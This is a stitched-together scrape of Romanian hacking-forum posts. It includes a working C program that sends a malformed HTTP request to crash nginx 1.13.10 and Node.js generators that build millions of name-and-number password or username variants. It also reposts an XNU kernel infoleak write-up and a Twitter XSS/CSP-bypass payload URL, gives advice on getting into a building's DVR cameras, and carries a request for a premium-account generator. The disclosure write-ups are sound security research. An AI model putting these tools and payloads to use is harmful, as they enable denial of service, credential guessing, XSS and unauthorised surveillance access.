Leaderboard

// Underground_Agency (UA) - (koa, bacL, g3kko, Dostoyevsky) // trigger nginx 1.13.10 (latest) logic flaw / bug // ~2018 // Tested on Ubuntu 17.10 x86 4.13.0-21-generic #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <time.h> int main(int argc, char **argv){ int sockfd, ret; sockfd = socket(AF_INET, SOCK_STREAM, 0); if(sockfd < 0){ perror("socket"); exit(EXIT_FAILURE); } struct sockaddr_in servAddr; memset(&servAddr, 0, sizeof(servAddr)); servAddr.sin_family = AF_INET; servAddr.sin_port = htons(atoi(argv[2])); servAddr.sin_addr.s_addr = inet_addr(argv[1]); ret = connect(sockfd, (struct sockaddr *)&servAddr, sizeof(servAddr)); if(ret < 0){ perror("connect"); exit(EXIT_FAILURE); } char buf[2048]; strcpy(buf, "GET / HTTP/1.1\r\nHost: "); strcat(buf, argv[1]); strcat(buf, "\r\n"); strcat(buf, "Connection: close\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\r\n"); char *buf2 = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\n" "Accept-Encoding: gzip, deflate\r\n\rrrrr\r\r\r\r\\rr\rrrrrr" // bug "Accept-Language: en-US,en;q=0.9\r\n\r\n"; strcat(buf, buf2); char recvbuf[1024]; ret = send(sockfd, buf, strlen(buf), 0); if(ret < 0){ perror("send"); exit(EXIT_FAILURE); } printf("Successfully sent data\n"); ret = recv(sockfd, recvbuf, 1024, 0); if(ret < 0){ perror("recv"); exit(EXIT_FAILURE); } printf("Data: %s\n", recvbuf); close(sockfd); exit(EXIT_SUCCESS); }

Am mai adaugat nume, in total sunt peste 3000. https://files.fm/u/4anfbu48 Generator actualizat, peste 5 mil de variatii const N_DELIM = ['_', ' ', '-'], N_RANGE = [[0, 100], 123, 222, 321, 333, 420, 444, 555, 666, 777, 888, 999, 1111, 1212, 1234, [1980, 2020], 12345, 123456789], N_UPPER = true, N_CAP = true, SHUFFLE = false, MIN_LEN = 8, INPUT = 'nume-ro'; let fs = require('fs'), inFile = __dirname + '/' + INPUT + '-proto', outFile = __dirname + '/' + INPUT + '-full', list = fs.readFileSync(inFile, 'utf8').split(/\r?\n/), normalized = []; for(let line of list){ line = line.trim(); if(line.length > 0) normalized.push(line.toLowerCase()); } normalized = normalized.filter((v, i, arr) => arr.indexOf(v) === i); normalized.sort(); fs.writeFileSync(inFile, normalized.join("\n")); console.log('proto = ' + normalized.length); function add(str, suffix = ''){ let v = []; if(suffix !== '' && N_DELIM.length > 0){ for(let d of N_DELIM){ v.push(str + d + suffix); if(N_UPPER) v.push(str.toUpperCase() + d + suffix); if(N_CAP) v.push(str.charAt(0).toUpperCase() + str.slice(1) + d + suffix); } } v.push(str + suffix); if(N_UPPER) v.push(str.toUpperCase() + suffix); if(N_CAP) v.push(str.charAt(0).toUpperCase() + str.slice(1) + suffix); return v; } let full = []; for(let n of normalized){ full.push(...add(n)); for(let range of N_RANGE){ if(!(range instanceof Array)) range = [range, range]; let [min, max] = range; for(let i = min; i < max + 1; i++){ full.push(...add(n, i)); if(i < 10) full.push(...add(n, '0' + i)); } } } if(SHUFFLE){ for(let i = full.length - 1; i > 0; i--) { let j = Math.floor(Math.random() * (i + 1)); [full[i], full[j]] = [full[j], full[i]]; } } full = full.filter((v, i, arr) => v.length >= MIN_LEN); fs.writeFileSync(outFile, full.join("\n")); console.log('full = ' + full.length);

https://nytrosecurity.com/2018/03/31/netripper-at-blackhat-asia-arsenal-2018/

done

Esti necrofil?

Si aici am facut un mic program care sa normalizeze lista precedenta si sa genereze inca o lista cu variante cu litere mari, litere capitale, 0-100, 1980-2020, spatiu si underscore. Astept si alte idei. let N_DELIM = true, N_100 = true, N_2K = true, N_UPPER = true, N_CAP = true, fs = require('fs'), list = fs.readFileSync(__dirname + '/proto', 'utf8').split(/\r?\n/), normalized = []; for(let line of list){ line = line.trim(); if(line.length > 0) normalized.push(line.toLowerCase()); } normalized = normalized.filter((v, i, arr) => arr.indexOf(v) === i); normalized.sort(); fs.writeFileSync(__dirname + '/proto', normalized.join("\n")); console.log('proto = ' + normalized.length); function add(str, suffix = ''){ let delim = ['_', ' '], v = []; if(suffix !== '' && N_DELIM){ for(let d of delim){ v.push(str + d + suffix); if(N_UPPER) v.push(str.toUpperCase() + d + suffix); if(N_CAP) v.push(str.charAt(0).toUpperCase() + str.slice(1) + d + suffix); } } v.push(str + suffix); if(N_UPPER) v.push(str.toUpperCase() + suffix); if(N_CAP) v.push(str.charAt(0).toUpperCase() + str.slice(1) + suffix); return v; } let full = []; for(let n of normalized){ full.push(...add(n)); if(N_100) for(let i = 0; i < 101; i++) full.push(...add(n, i)); if(N_2K) for(let i = 1979; i < 2021; i++) full.push(...add(n, i)); } fs.writeFileSync(__dirname + '/full', full.join("\n")); console.log('full = ' + full.length); Cu toate activate se genereaza cam 3 milioane de nume.

CVE-2017-13868: A fun XNU infoleak by Brandon Azad March 2, 2018 Way back in October of 2017, I discovered CVE-2017-13868, a kernel information leak in XNU that was quite fun to analyze and exploit. While browsing the XNU source code, I noticed that the function ctl_ctloutput didn’t check the return value of a call to sooptcopyin. This immediately caught my attention because error checking in the kernel is very important: poor error checking is a frequent source of security bugs. In this case, failing to check the return value opened a race window that could allow a privileged process to read an arbitrary amount of uninitialized kernel heap data. Finding the vulnerability One of the most effective ways I have for finding vulnerabilities is simply reading through the source code of areas of the kernel that seem relevant to security. I’ve found more bugs by source code auditing and reverse engineering than by any other technique, including fuzzing and, my favorite, stumbling onto a security flaw by accident (it happens surprisingly often). I started looking for iOS bugs again around mid September of last year. Around that time I noticed that there seemed to be an uptick in the number of race conditions reported in Apple’s security notes for macOS and iOS. Because of that, I figured it would be good to keep parallelism in mind while auditing. I had decided to look at indirect calls to copyout to see if I could discover any obvious information leaks. Information leaks are a category of vulnerability where the kernel discloses information that it shouldn’t. For example, disclosing kernel pointers to userspace may allow a local attacker to defeat the kernel’s address space randomization (kASLR) exploit mitigation. Exploit techniques like ROP depend on knowing the location of the kernel’s executable code in memory, which means kernel pointer disclosures have become a key component of modern macOS and iOS kernel exploitation. The copyout function is responsible for copying data from the kernel’s address space into the address space of usermode processes. Most kernel infoleaks will pass the leaked data through copyout, which makes call sites to this function promising areas to look for bugs. However, it’s not just this one function: there are many wrappers around copyout that are also worth investigating. For example, one such wrapper is sooptcopyout, which is used to copy out socket options data for the getsockopt system call. It was while looking through calls to this function that the following code, from the ctl_ctloutput function in the file bsd/kern/kern_control.c, caught my eye: if (sopt->sopt_valsize && sopt->sopt_val) { MALLOC(data, void *, sopt->sopt_valsize, M_TEMP, // (a) data is allocated M_WAITOK); // without M_ZERO. if (data == NULL) return (ENOMEM); /* * 4108337 - copy user data in case the * kernel control needs it */ error = sooptcopyin(sopt, data, // (b) sooptcopyin() is sopt->sopt_valsize, sopt->sopt_valsize); // called to fill the } // buffer; the return len = sopt->sopt_valsize; // value is ignored. socket_unlock(so, 0); error = (*kctl->getopt)(kctl->kctlref, kcb->unit, // (c) The getsockopt() kcb->userdata, sopt->sopt_name, // implementation is data, &len); // called to process if (data != NULL && len > sopt->sopt_valsize) // the buffer. panic_plain("ctl_ctloutput: ctl %s returned " "len (%lu) > sopt_valsize (%lu)\n", kcb->kctl->name, len, sopt->sopt_valsize); socket_lock(so, 0); if (error == 0) { if (data != NULL) error = sooptcopyout(sopt, data, len); // (d) If (c) succeeded, else // then the data buffer sopt->sopt_valsize = len; // is copied out to } // userspace. The ctl_ctloutput function is responsible for handling the getsockopt system call on kernel control sockets (that is, sockets created with domain PF_SYSTEM and protocol SYSPROTO_CONTROL). The code does the following: It allocates a kernel heap buffer for the data parameter to getsockopt. Because the M_ZERO flag is not specified, the allocation is not zeroed out. It copies in the getsockopt data from userspace using sooptcopyin, filling the data buffer just allocated. This copyin should completely overwrite the allocated data, which is why the M_ZERO flag was not needed. The return value is not checked. It then calls kctl->getopt, the real getsockopt implementation for this kernel control socket. This implementation will process the input buffer, possibly modifying it and shortening it, and return a result code. Finally, if the real getsockopt implementation doesn’t return an error, ctl_ctloutput calls sooptcopyout to copy the data buffer back to user space. The issue is that the return value from sooptcopyin is not checked. This begs the question: what could happen if sooptcopyin fails that wouldn’t be possible if the return value were checked? Analyzing exploitability The function sooptcopyin is responsible for copying in the getsockopt options data from userspace into the allocated buffer. If sooptcopyin fails, perhaps because the socket options data address is invalid, then the kernel data buffer which should have contained the options data will be uninitialized. And because the data buffer was allocated without the M_ZERO flag, that means that it will contain uninitialized kernel heap data, possibly rife with useful kernel pointers. So, the lack of error checking means that the data buffer passed to kctl->getopt could actually contain uninitialized kernel heap data, even though the code as written seems to expect the contents of the data buffer to always be initialized before the call to kctl->getopt. Is there a way to get that uninitialized memory to flow to a call to copyout? The obvious candidate for copyout is the call to sooptcopyout just after kctl->getopt. But there’s a problem: sooptcopyout is passed the same sopt structure that was supplied to sooptcopyin, which means it will try to write the uninitialized data to the same address from which sooptcopyin tried to read the socket options earlier. And in order to force sooptcopyin to fail we supplied it with an invalid address. So how do we make sooptcopyout succeed where sooptcopyin failed? At this point I remembered to consider parallelism. Would it be possible to make the memory address valid in between the calls to sooptcopyin and sooptcopyout? To do that, we’d need to call getsockopt with an unmapped address, and while getsockopt is running in the kernel, call mach_vm_allocate on another thread to map that address. That way, the address would be unmapped when sooptcopyin is called, causing it to fail, but mapped when sooptcopyout is called, allowing the copyout of uninitialized kernel heap data to succeed. However, there’s one more thing we need to check: does the uninitialized heap data actually make it all the way to the call to sooptcopyout? There’s an intervening call to kctl->getopt which could overwrite the uninitialized data or change the length of the data to copy out to userspace. The actual implementation of kctl->getopt is determined by what type of control socket we’re operating on. Thus, in order to reach sooptcopyout with the uninitialized data intact, we need to find a kernel control socket with a getopt implementation that: does not overwrite the whole data buffer; does not shorten the data buffer; and returns success (that is, 0). Fortunately, it didn’t take much searching to find a candidate: the function necp_ctl_getopt, which is the getopt implementation for NECP kernel control sockets, simply returns 0 without processing the data buffer at all. The primary limitation of this approach is our ability to reallocate the memory address between the calls to sooptcopyin and sooptcopyout. Not a lot of work happens between those calls, meaning the race window could be pretty tight. If the race window is too tight, it might take a large number of tries to actually win the race. An alternative approach (that did not work) While reviewing this bug later, it seemed like it should have been possible to trigger it without any race at all by marking the memory write-only. That way, sooptcopyin would fail with EFAULT (because the memory is not readable) but sooptcopyout would succeed. However, in my testing, this simpler exploit strategy didn’t work: getsockopt would fail with EFAULT. I’m not sure why this happened. The final exploit After figuring out a strategy to trigger the information leak, I implemented the exploit. The high-level strategy is to open an NECP kernel control socket, launch a thread that will repeatedly map and unmap the target memory address, and then repeatedly call getsockopt on the control socket to try and trigger the leak. The complete exploit is available on my GitHub. Amazingly, it turned out that this was a pretty easy race to win. I performed tests on a 2015 Macbook Pro and an iPhone 7, and found that the median number of attempts to win the race on these platforms was 5 and 2, respectively. (The distribution was rather uneven, with the mean number of attempts on the Macbook sometimes rising as high as 600. However, this was primarily due to a few very large outliers, where it would take tens of thousands of attempts to win the race.) What’s great about this infoleak is that it does not depend on a fixed leak size: you can use it to leak data from arbitrary kernel heap zones by specifying different sizes to getsockopt. This makes for a very useful exploit primitive when performing complex attacks on the kernel. The fix I reported this issue to Apple on October 7, 2017, and it was assigned CVE-2017-13868. Apple fixed the bug in macOS 10.13.2 and iOS 11.2. Looking at the new kern_control.c, Apple decided to fix the bug by wrapping the code after the call to sooptcopyin in an if statement that checks whether there has been an error. I believe that this is the correct fix for this issue. Sursa: https://bazad.github.io/2018/03/a-fun-xnu-infoleak/

strict referitor la intrebarea ta: Nu se poate ceea ce vrei tu, nu este imposibil dar nici usor! Pentru a-ti fi mai usor poti intreba administratorul blocului. Daca ii explici situatia cred ca te va ajuta. Ideea este in felul urmator: Camera poate sa fie normala(conexiune directa cu aparatul) sau IP, ea se concteaza intr-un DVR/NVR, la baza este linux, nu foarte usor de hack-uit (ea trebuie conectat la un DVR sau NVR pentru a stoca imaginile, bine asta daca e facuta de o firma specializata si nu e doar un fake cam) Poti verifica, daca ai acces in reteaua respectiva, sa instalezi aplicatia gDMSS / iDMSS sau iVMS (Android respectiv iPhone) Dai un scan si e posibil sa iti raspunda DVRul / NVRul - de aici iti trebuie usernameul si parola (care la fel nu sunt usor de aflat) Dahua si Hikvision sunt top producatori de camere de supraveghere, aproape toate companiile ce se ocupa cu montajul sistemelor de securitate folosesc dispozitivele acestea(calitate si claritate) Repet mai simplu si mai usor e sa intrebi Administratorul blocului, camerele din bloc / lift sunt si la dispozitia locatarilor(este dreptul lor) (de obicei aceste montaje si echipamente sunt platite din banii locatarilor) ATENTIE: Dupa 5 incercari esuate ambi producatori blocheaza contul pana la urmatorul restart

tbmnull Jul 6 Making an XSS triggered by CSP bypass on Twitter. Hi there, I’m a security researcher & bug hunter, but still learning. I want to share how hard it was to find an XSS (Cross Site Scripting) on such a huge organization and well secured Twitter.com and how I could achieve it with combining another security vulnerability CSP (Content Security Policy) bypass. Here is the story: After digging a lot on Twitter’s subdomains, I came across to https://careers.twitter.com/. As you can guess, it is Twitter’s career site, you can search for jobs as an opportunity to work with them, but I search for bugs. Sometime later, I thought I’ve found a reflection for an XSS on the URL: https://careers.twitter.com/en/jobs-search.html?location=1" onmouseover=”alert(1)&q=1&start=70&team= with the location parameter. But wait, there was no alert! I couldn’t be able to trigger it! Because they’ve implemented CSP as: content-security-policy: default-src ‘self’ ; connect-src ‘self’ ; font-src ‘self’ https://*.twimg.com https://*.twitter.com data:; frame-src ‘self’ https://twitter.com https://*.twitter.com [REDACTED] https://*.twitter.com; report-uri https://twitter.com/i/csp_report and It blocked the javascript alert box to be come to scene. So, I was unsuccessful on getting this work, unfortunately. Then I applied to my master @brutelogic as always and asked him that I’ve found some XSS (didn’t share the details nor domain) but I could not be able to get it work because of the CSP. He adviced me to find a way to bypass it! I already remember his saying: “For god’s sake, stop talking and go find a way to bypass the CSP!”. Thanks bro :) I tried a lot to find the way, and gave up that time. After trying a lot and looking for something on other domains, I figured out an URL that’s going under the radar within GET requests hiddenly. URL was: https://analytics.twitter.com/tpm?tpm_cb= The response Content-type was application/javascript and what I write as the parameter tpm_cb, it was reflecting on the page! I was lucky this time, and I tried to combine both my findings to make the XSS work. So, I created: https://careers.twitter.com/en/jobs-search.html?location=1"> src=//analytics.twitter.com/tpm?tpm_cb=alert(document.domain)>// willing “><script src= on the XSS reflection will work. And voila! It worked! Happy End! I screamed out in my office and all my colleagues were afraid. Sorry guys :) I immediately reported these to Twitter via their bug bounty program on Hackerone, they triaged and rewarded me very quickly. Also they fixed the XSS on career site but CSP bypass took a long time to fix. But in the end both sides were satisfied. Thanks to Twitter Security Team and an awesome community hackerone! Hope this helps newbies like me to develop themselves. And If you want to share your thoughts, just ping me on Twitter: @tbmnull Thanks for reading. Sursa: https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5

Name: Iepurasul_cel_viteaz.jpg SHA-1: 473F7236DA2AE45FB56A9DDAAB25B1287762B624 Iepurasii viteji: 1. @pr00f 2. @Hertz 3. @sandabot

Buna ziua, a fost postat un program de creat premium member account. Poate sa ma ajute cineva cu el, sau ceva informatii? Multumesc anticipat!!

.